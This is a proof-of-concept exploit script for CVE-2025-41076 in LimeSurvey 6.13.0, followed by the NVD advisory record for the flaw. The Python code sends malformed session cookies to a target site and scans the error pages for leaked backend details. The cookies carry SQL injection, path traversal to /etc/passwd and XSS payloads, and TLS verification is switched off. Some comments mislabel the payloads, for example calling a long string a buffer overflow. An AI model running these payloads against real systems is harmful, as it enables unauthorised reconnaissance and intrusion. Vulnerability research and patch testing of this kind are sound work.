CVE-2025-41076

import requests import sys # CVE-2025-41076 PoC - LimeSurvey 6.13.0 Sensitive Information Disclosure # This PoC demonstrates how a malformed session cookie can trigger information disclosure TARGET_URL = "https://target-limesurvey.com" # Replace with target URL def exploit_cve_2025_41076(): """ Exploit function to trigger the vulnerability Sends a malformed session cookie to cause 500 error and leak internal information """ # Malformed session cookie with SQL injection-like characters # This triggers error handling that exposes backend details malformed_cookies = [ "PHPSESSID=admin' OR '1'='1", # SQL injection attempt "PHPSESSID=../../../etc/passwd", # Path traversal attempt "PHPSESSID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", # Buffer overflow "PHPSESSID={"type":"test","id":null}", # JSON injection "PHPSESSID=<script>alert(1)</script>" # XSS payload ] headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-41076 Scanner)", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" } for i, cookie_value in enumerate(malformed_cookies): print(f"[*] Testing malformed cookie {i+1}/{len(malformed_cookies)}") cookies = {"PHPSESSID": cookie_value} try: # Target common LimeSurvey endpoints endpoints = ["/", "/index.php", "/admin/authentication/sa/login"] for endpoint in endpoints: response = requests.get( f"{TARGET_URL}{endpoint}", cookies=cookies, headers=headers, timeout=10, verify=False ) # Check for information disclosure indicators indicators = [ "Yii Framework", "lime_sessions", "MySQL", "MariaDB", "PDOException", "Stack trace", "primary key", "SQLSTATE" ] for indicator in indicators: if indicator in response.text: print(f"[!] VULNERABLE! Found indicator: {indicator}") print(f"[+] Endpoint: {endpoint}") print(f"[+] Cookie value: {cookie_value}") print(f"[+] Status code: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") continue print("[*] No vulnerability indicators found") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print("CVE-2025-41076 LimeSurvey Information Disclosure Scanner") exploit_cve_2025_41076()

{"cve": {"id": "CVE-2025-41076", "sourceIdentifier": "[email protected]", "published": "2025-11-20T15:17:29.427", "lastModified": "2025-11-21T19:54:57.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In version 6.13.0 of LimeSurvey, any external user can cause a 500 error in the survey system by sending a malformed session cookie. Instead of displaying a generic error message, the system exposes internal backend information, including the use of the Yii framework, the MySQL/MariaDB database engine, the table name 'lime_sessions', primary keys, and fragments of the content that caused the conflict. This information can simplify the collection of data about the internal architecture of the application by an attacker."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-209"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:limesurvey:limesurvey:6.13.0:*:*:*:*:*:*:*", "matchCriteriaId": "61C66C1A-C073-41C9-B847-F55896D4A6E2"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-limesurvey-0", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}